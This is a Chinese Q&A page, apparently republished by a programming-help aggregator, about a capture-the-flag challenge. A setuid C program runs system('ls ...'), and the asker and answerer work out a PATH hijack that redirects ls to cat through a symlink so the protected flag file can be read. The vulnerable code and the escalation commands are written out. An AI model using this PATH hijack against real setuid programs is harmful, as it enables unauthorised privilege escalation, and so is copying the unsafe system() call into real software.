如何将’ls’命令转换为’cat’命令?

如何将’ls’命令转换为’cat’命令?,第1张

概述我试图解决这个问题,我只允许运行ls命令,我的目标是读取标志.有一个易受攻击的C代码,它有setuid. -rwsr-sr-x 1 lameprogrammer lameprogrammer 8579 Sep 15 07:21 vul_c -rw-r----- 1 lameprogrammer lameprogrammer 154 Sep 15 07:40 flag 我是用户攻击者,我必 我试图解决这个问题,我只允许运行ls命令,我的目标是读取标志.有一个易受攻击的C代码,它有setuID.

-rwsr-sr-x 1 lameprogrammer lameprogrammer 8579 Sep 15 07:21 vul_c    -rw-r----- 1 lameprogrammer lameprogrammer  154 Sep 15 07:40 flag

我是用户攻击者,我必须阅读此标志文件.给定的C代码是

#include <stdlib.h>    #include <stdio.h>    #define filename "/var/challenges/attacker/challenge1/flag"    int main(voID)    {        int vert;        vert = system("ls " filename);        if(!vert)            puts("Flag is at " filename " :P ");        else            puts("Sorry! no file is there");    }

我试图将ls转换为cat,这样如果运行,那么它将读取标志文件.为此,我将所有bin文件夹复制到我的本地空间,然后用cat替换ls然后导出新的PATH.从技术上讲,它应该替换,我的ls命令应该像猫一样工作,但它不起作用.以下是我的命令:

cp -r /bin /home/attacker   cd /home/attacker/bin   rm ls   cp cat ls   export PATH=/home/attacker/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/usr/games

ls命令无法正常工作,输出为:

ls: unrecognized option '--color=auto'   Try 'ls --help' for more information.

当我试图运行./vul_c它说权限被拒绝然后它打印对不起!没有档案.

对此的任何帮助都会很棒.

解决方法 你是在正确的方向,但你只是为这个小事做了太多的努力.而不是创建程序为什么不创建符号链接,然后将其指向cat.

尝试这一步:

ln -s /bin/cat ls

最后,导出这个,我希望你将完成你的解决方案.在这方面,您甚至不必担心许可.如果有效,请告诉我.

总结

以上是内存溢出为你收集整理的如何将’ls’命令转换为’cat’命令?全部内容,希望文章能够帮你解决如何将’ls’命令转换为’cat’命令?所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。

欢迎分享,转载请注明来源:内存溢出

原文地址:https://54852.com/yw/1026130.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2022-05-23
下一篇2022-05-23

发表评论

登录后才能评论

评论列表(0条)

    保存